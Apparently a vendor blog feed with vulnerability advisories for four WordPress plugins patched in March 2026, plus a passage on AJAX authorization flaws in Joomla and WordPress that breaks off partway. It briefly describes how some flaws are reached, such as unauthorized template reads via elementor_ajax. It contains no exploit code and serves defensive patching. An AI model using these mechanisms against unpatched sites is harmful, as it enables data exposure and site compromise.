&lt;p&gt;Two of these four vulnerabilities require no authentication to exploit. An attacker does not need an account on your site. They just need to know your site exists.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Help With WordPress Plugin Vulnerabilities?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients, you already know these patches exist. The information is public. The hard part is &lt;strong&gt;checking every site actually got them&lt;/strong&gt;. Four plugins across 50 client sites is 200 individual version checks. Manually, that is an afternoon. With a dashboard, it takes seconds.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;mySites.guru&apos;s vulnerability alerting&lt;/a&gt; cross-references every installed plugin on your connected sites against the Wordfence Vulnerability API twice daily. When a CVE drops for a plugin you have installed, you get flagged automatically, without RSS feeds to monitor or security blogs to bookmark.&lt;/p&gt;
&lt;p&gt;For patches like these, you can see at a glance which sites are still running vulnerable versions, then &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push updates in bulk&lt;/a&gt; across your entire portfolio. Or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on any site to see its current plugin versions and known vulnerabilities in under a minute.&lt;/p&gt;
&lt;p&gt;The WordPress Extensions page lists every plugin installed across all your connected sites. Filter by name, sort by version, and click &quot;Which sites?&quot; to find exactly where a specific plugin is running.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click through to any plugin and you see every version variant across your portfolio. In this example, Elementor 3.35.5 (vulnerable) and 3.35.8 (patched) are both present, with a &quot;1 Vulnerable Plugins!&quot; warning on the sites still running the old version.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;When a site has a known vulnerable plugin, the manage site page shows a red warning banner at the top with the CVE details and a link to learn more.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page explains the full detection pipeline.&lt;/p&gt;
&lt;h2&gt;What Got Patched?&lt;/h2&gt;
&lt;h3&gt;Elementor - Sensitive Data Exposure (CVE-2026-1206)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/elementor&quot;&gt;CVE-2026-1206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4.3 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Incorrect Authorization / Information Disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 3.35.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.35.8&lt;/strong&gt; (March 23, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes - Contributor or above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Angus Girvan (via Wordfence)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;is_allowed_to_read_template()&lt;/code&gt; function in Elementor had a logic error. It treated non-published templates as readable without checking whether the requesting user actually had edit capabilities. A contributor could call the &lt;code&gt;get_template_data&lt;/code&gt; action via the &lt;code&gt;elementor_ajax&lt;/code&gt; endpoint with any &lt;code&gt;template_id&lt;/code&gt; and pull back private or draft template content.&lt;/p&gt;
&lt;p&gt;This is a confidentiality issue, not a code execution flaw. No one is taking over your site through this alone. But draft templates often contain unreleased page layouts, pricing structures, or client content that should not be accessible to low-privilege users.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your Elementor versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a4711e26b508c580ec1e12ba9aa6e5fd&quot;&gt;Open Elementor Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every Elementor version across your connected sites, grouped by version number. Spot 3.35.7 or earlier at a glance. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; to get this visibility.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-seo&quot;&gt;CVE-2026-3427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;6.4 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 27.1.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;27.2&lt;/strong&gt; (March 17, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes - Contributor or above&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Osvaldo Noe Gonzalez Del Rio (via Wordfence)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Yoast SEO failed to sanitize the &lt;code&gt;jsonText&lt;/code&gt; block attribute in the HowTo block. A contributor could inject arbitrary JavaScript into page content. The script executes in the browser of anyone who views the page, including administrators.&lt;/p&gt;
&lt;p&gt;What can an attacker do with it? Steal admin session cookies, redirect users, deface content, or inject SEO spam. XSS in a plugin installed on 10 million sites is a wide attack surface, even with the contributor-level authentication requirement. Sites with open registration, guest author accounts, or compromised low-privilege credentials are the obvious targets.&lt;/p&gt;
&lt;p&gt;Yoast&apos;s 27.2 changelog mentions &quot;adds sanitization to duration text for the HowTo block&quot; without naming the CVE directly. This is normal - most vendors downplay security fixes in their changelogs.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your Yoast SEO versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f1263de85d3f10996c0a7f8f55cf7e58&quot;&gt;Open Yoast SEO Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Shows which of your sites run Yoast SEO 27.1.1 or earlier. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;WPForms - Sensitive Data Exposure (CVE-2026-25339)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2026-25339&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium (score not yet assigned by NVD)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sensitive Data Exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to 1.9.9.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1.9.9.2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not publicly attributed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This one requires no login at all. An unauthenticated attacker can trigger sensitive data exposure from WPForms. The exact technical mechanism has not been fully documented publicly, but the vulnerability is confirmed across multiple security databases including the Sucuri March 2026 roundup and Patchstack.&lt;/p&gt;
&lt;p&gt;WPForms is the most popular form plugin for WordPress. It collects contact form submissions, payment details, registration data, and application forms. A data exposure flaw in a form plugin deserves urgent attention because the data it handles is sensitive by definition.&lt;/p&gt;
&lt;p&gt;The current version on wordpress.org is 1.10.0.2, so 1.9.9.2 is now several releases behind. If you are still on 1.9.9.x, update immediately.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your WPForms versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/cc7d0bb668e89ba461c945588ef2008e&quot;&gt;WPForms Lite&lt;/a&gt; &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/334cd5ef5a7c73a6255c3d6c33204ee1&quot;&gt;WPForms Pro&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Both Lite and Pro editions are affected - check which version each of your sites is running. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Really Simple Security - Broken Access Control (CVE-2026-32461)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-32461&quot;&gt;CVE-2026-32461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5.3 Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization (CWE-862)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions through 9.5.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9.5.8&lt;/strong&gt; (February 26, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Or Benit (via Patchstack Bug Bounty)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Really Simple Security (formerly Really Simple SSL) had missing authorization checks on certain plugin functions. An unauthenticated attacker can call these functions to modify plugin settings without logging in.&lt;/p&gt;
&lt;p&gt;The CVSS vector confirms integrity impact only - no data theft, no denial of service. The likely practical attack is manipulating SSL/security settings: disabling HTTPS enforcement, altering security rules, or weakening the site&apos;s security posture to enable follow-up attacks like session hijacking over unencrypted connections.&lt;/p&gt;
&lt;p&gt;Note the patch date: February 26, over five weeks ago. The CVE was published March 13. If your sites have not updated to at least 9.5.8 in over a month, your update process needs attention.&lt;/p&gt;
&lt;h2&gt;Why Did These All Land in the Same Month?&lt;/h2&gt;
&lt;p&gt;March 2026 was unusually busy for WordPress plugin security. Beyond these four, we also covered &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&apos;s arbitrary file read&lt;/a&gt; (CVE-2026-3098) and the broader pattern of &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoint authorization failures&lt;/a&gt; across both WordPress and Joomla ecosystems. The pattern continued into April with &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt;, a CVSS 9.8 unauthenticated RCE in another WordPress plugin AJAX handler affecting around 50,000 sites.&lt;/p&gt;
&lt;p&gt;This is not a coordinated attack. It is the natural result of increased security research activity. The Wordfence Bug Bounty and Patchstack Bug Bounty programs have been scaling up, paying researchers to audit popular plugins. More researchers auditing more plugins means more vulnerabilities found and disclosed. The patches come in waves because the responsible disclosure timelines converge.&lt;/p&gt;
&lt;p&gt;The takeaway is better process, not panic. If checking four plugins across your portfolio takes manual effort, you will fall behind when the next wave hits.&lt;/p&gt;
&lt;h2&gt;How to Check If Your Sites Are Patched&lt;/h2&gt;
&lt;h3&gt;Manual Check (Single Site)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins &amp;gt; Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find each plugin and compare the version number:&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin&lt;/th&gt;
&lt;th&gt;Minimum safe version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Elementor&lt;/td&gt;
&lt;td&gt;3.35.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yoast SEO&lt;/td&gt;
&lt;td&gt;27.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPForms&lt;/td&gt;
&lt;td&gt;1.9.9.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Really Simple Security&lt;/td&gt;
&lt;td&gt;9.5.8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;If any version is lower, click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Bulk Check With mySites.guru (Unlimited Sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Extensions page lists every plugin across all your connected sites with version numbers. Checking all four plugins takes under a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type &quot;Elementor&quot; in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; to see every site running it, grouped by version&lt;/li&gt;
&lt;li&gt;Any site on 3.35.7 or earlier is vulnerable - update it&lt;/li&gt;
&lt;li&gt;Repeat for Yoast SEO, WPForms, and Really Simple Security&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red &quot;Vulnerable Plugins!&quot; badge. You do not need to remember version numbers or cross-reference CVE databases - the dashboard does it for you.&lt;/p&gt;
&lt;p&gt;Once you&apos;ve identified the sites that need updating, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the updates in bulk&lt;/a&gt; from the same dashboard. No SSH access required, no logging into individual admin panels.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see where any single site stands, or &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;sign up&lt;/a&gt; to connect your full portfolio and get this visibility across all your sites.&lt;/p&gt;
&lt;h3&gt;WP-CLI Check (Command Line)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin list --fields=name,version,update_version --format=table
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows the installed version alongside the available update version. Run it on each site, or script it across multiple servers.&lt;/p&gt;
&lt;h2&gt;What to Do After Updating&lt;/h2&gt;
&lt;p&gt;Patching is step one. For the two unauthenticated vulnerabilities (WPForms and Really Simple Security), consider whether exploitation may have occurred before you applied the patch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WPForms&lt;/strong&gt;: Review form submission logs for unusual entries. Check whether any form data was accessed by unauthorized parties. If you collect payment or personal data through WPForms, assess whether a data breach notification is required under your jurisdiction&apos;s privacy laws.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Really Simple Security&lt;/strong&gt;: Check your SSL/security settings are still correctly configured. Verify HTTPS enforcement is active. Review the plugin&apos;s settings page for unexpected changes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Both&lt;/strong&gt;: Run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; and check for &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;signs of compromise&lt;/a&gt;. Look for unfamiliar admin accounts, modified files, or unexpected cron jobs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the two authenticated vulnerabilities (Elementor and Yoast SEO), review your user list. If any contributor or author accounts were created without your knowledge, that is worth investigating regardless of these specific CVEs.&lt;/p&gt;
&lt;h2&gt;Are Auto-Updates Enough?&lt;/h2&gt;
&lt;p&gt;WordPress supports per-plugin auto-updates, and many hosts enable them by default. In theory, your sites should have received these patches automatically. In practice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates&lt;/a&gt; for stability reasons&lt;/li&gt;
&lt;li&gt;Some hosts delay or batch auto-updates&lt;/li&gt;
&lt;li&gt;Plugin auto-updates can fail silently if the site has filesystem permission issues&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;Minor-only auto-update policies&lt;/a&gt; may not catch plugin updates at all&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auto-updates are a good safety net, not a replacement for monitoring. The only way to be certain a patch landed is to verify the installed version. Trust, but verify.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
      
      
      
      
      &lt;span&gt;4.6/5&lt;/span&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;Rated 4.6/5 by WP Mayor&lt;/p&gt;
  &lt;p&gt;&quot;An excellent solution for agencies and developers who manage multiple WordPress and Joomla sites. The vulnerability scanning and alerting alone make it worth the subscription.&quot;&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot; target=&quot;_blank&quot;&gt;Read the WP Mayor review&lt;/a&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Try mySites.guru free&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2026/04/vulnerability-patch-roundup-march-2026.html&quot;&gt;Vulnerability &amp;amp; Patch Roundup - March 2026&lt;/a&gt; - Sucuri&apos;s comprehensive monthly roundup covering all four CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/&quot;&gt;Wordfence Threat Intelligence - WordPress Plugin Vulnerabilities&lt;/a&gt; - searchable database of disclosed WordPress plugin CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack Vulnerability Database&lt;/a&gt; - independent WordPress security intelligence with CVSS scoring&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/plugin-developer-faq/#auto-updates&quot;&gt;WordPress Plugin Auto-Updates Documentation&lt;/a&gt; - official WordPress developer docs on auto-update behaviour&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; - US government catalog of actively exploited vulnerabilities (none of these four are listed as of April 2026)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>updates</category><category>elementor</category><category>yoast</category><enclosure url="https://mysites.guru/_astro/four-wordpress-plugins-security-patches-march-2026.B9Iz7Jeb.png" length="0" type="image/png"/></item><item><title>AJAX Endpoints Are A Big CMS Security Blind Spot</title><link>https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</link><guid isPermaLink="true">https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</guid><description>Five AJAX and API vulnerabilities hit Joomla and WordPress in March 2026, all sharing one root cause. Here is what went wrong and how to protect your sites.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In March 2026, five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress. All five exploited the same weakness: AJAX endpoints that, at most, verify a CSRF token but never check who the user is or whether they have permission to perform the action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (April 7, 2026):&lt;/strong&gt; the pattern continued into April. On April 6, Wordfence publicly disclosed &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;CVE-2026-0740 in Ninja Forms File Uploads&lt;/a&gt;, a CVSS 9.8 unauthenticated arbitrary file upload in another WordPress plugin AJAX handler. It affects around 50,000 sites, and the first patch the vendor shipped did not actually fix the issue - only 3.3.27 closes it. Same root cause, same surface, different plugin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (April 16, 2026):&lt;/strong&gt; sixth AJAX-authorization CVE in eight weeks. &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;CVE-2026-3614 in AcyMailing&lt;/a&gt; is a CVSS 8.8 privilege escalation where any authenticated user can bypass the authorization check on the plugin&apos;s internal router. The public CVE was published as WordPress-only, but a diff of the 10.8.1 and 10.8.2 Joomla tarballs shows the vulnerable code is in shared files - Joomla sites running 9.11.0 through 10.8.1 have the same exposure. One more cross-platform plugin CVE that only reached the WordPress half of the audience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (July 8, 2026):&lt;/strong&gt; the same pattern is now being exploited at scale. Since 5 July, a botnet has been mass-defacing Joomla sites through an unauthenticated flaw in JoomShaper&apos;s Helix3 template framework in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, reachable through the exact &lt;code&gt;com_ajax&lt;/code&gt; surface described here. It is the same root cause moving from disclosure to live, automated abuse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The individual vulnerabilities have been patched.&lt;/strong&gt; Joomla 5.4.4 added a framework-level authentication check to &lt;code&gt;com_ajax&lt;/code&gt;, and WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; already requires a login for non-&lt;code&gt;nopriv&lt;/code&gt; hooks. But neither system checks &lt;em&gt;authorization&lt;/em&gt; at the framework level. That is still the developer&apos;s responsibility, and the pattern of AJAX handlers shipping without capability checks shows that too many developers do not realise it.&lt;/p&gt;
&lt;h2&gt;What makes AJAX endpoints so dangerous?&lt;/h2&gt;
&lt;p&gt;Both Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; and WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; were built as lightweight utility endpoints. They exist so plugins and extensions can handle AJAX requests without needing their own dedicated routes. Convenient for developers, dangerous in practice.&lt;/p&gt;
&lt;p&gt;The design assumption behind both systems is the same: the plugin on the other end will handle its own security. The AJAX handler just passes the request through. At best, it verifies a CSRF token or nonce to confirm the request was not forged. But a CSRF check is not authentication, and it is definitely not authorization. It proves the request came from a legitimate page. It does not prove who sent it or whether they should be allowed to do what they are asking.&lt;/p&gt;
&lt;p&gt;Extension developers treat these endpoints as if they were internal buses, trusting that by the time a request reaches their code, it has already been validated. But &lt;code&gt;com_ajax&lt;/code&gt; is publicly accessible. &lt;code&gt;admin-ajax.php&lt;/code&gt; is accessible to any authenticated user, including subscribers. When the plugin on the other end skips its own authorization check, you get an unauthenticated (or under-authenticated) attack surface hiding behind what looks like internal plumbing.&lt;/p&gt;
&lt;p&gt;That is not a one-off, and March 2026 proved it five times over.&lt;/p&gt;
&lt;h2&gt;What is the difference between authentication and authorization?&lt;/h2&gt;
&lt;p&gt;Most of the vulnerabilities in this post confuse these two concepts, or skip both entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; verifies &lt;em&gt;who are you?&lt;/em&gt; - is this a real, logged-in user with a valid session? A CSRF token does not do this. It only confirms the request was not forged from another site. Checking authentication means checking the user&apos;s session state: &lt;code&gt;is_user_logged_in()&lt;/code&gt; in WordPress, or &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; in Joomla (returns &lt;code&gt;0&lt;/code&gt; for guests).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; verifies &lt;em&gt;are you allowed to do this?&lt;/em&gt; - even if someone is logged in, they may not have permission for a specific action. A WordPress subscriber should not be able to export &lt;code&gt;wp-config.php&lt;/code&gt;. A Joomla user without admin privileges should not be able to upload files via a template framework. Checking authorization means an explicit capability check: &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; in WordPress, or &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt; in Joomla.&lt;/p&gt;
&lt;p&gt;Most of the AJAX vulnerabilities covered here had a CSRF token check but skipped both authentication and authorization. The request was not forged. Nobody checked who sent it.&lt;/p&gt;
&lt;h2&gt;Why did Joomla&apos;s own team have to harden com_ajax?&lt;/h2&gt;
&lt;p&gt;The most telling entry in the March 2026 disclosure list is &lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629&lt;/a&gt; - and it did not come from a third-party extension. The Joomla Security Strike Team themselves found that &lt;code&gt;com_ajax&lt;/code&gt;, the component routing AJAX requests for every Joomla plugin, was excluded from the default logged-in-user check in the admin area.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not even require a logged-in user by default. The &lt;code&gt;AdministratorApplication&lt;/code&gt; class explicitly whitelisted &lt;code&gt;com_ajax&lt;/code&gt; on the same allowlist as the login page itself, so that pre-login AJAX calls (WebAuthn/passkey flows, CAPTCHA) could work. The consequence: any unauthenticated visitor could reach backend AJAX handlers directly.&lt;/p&gt;
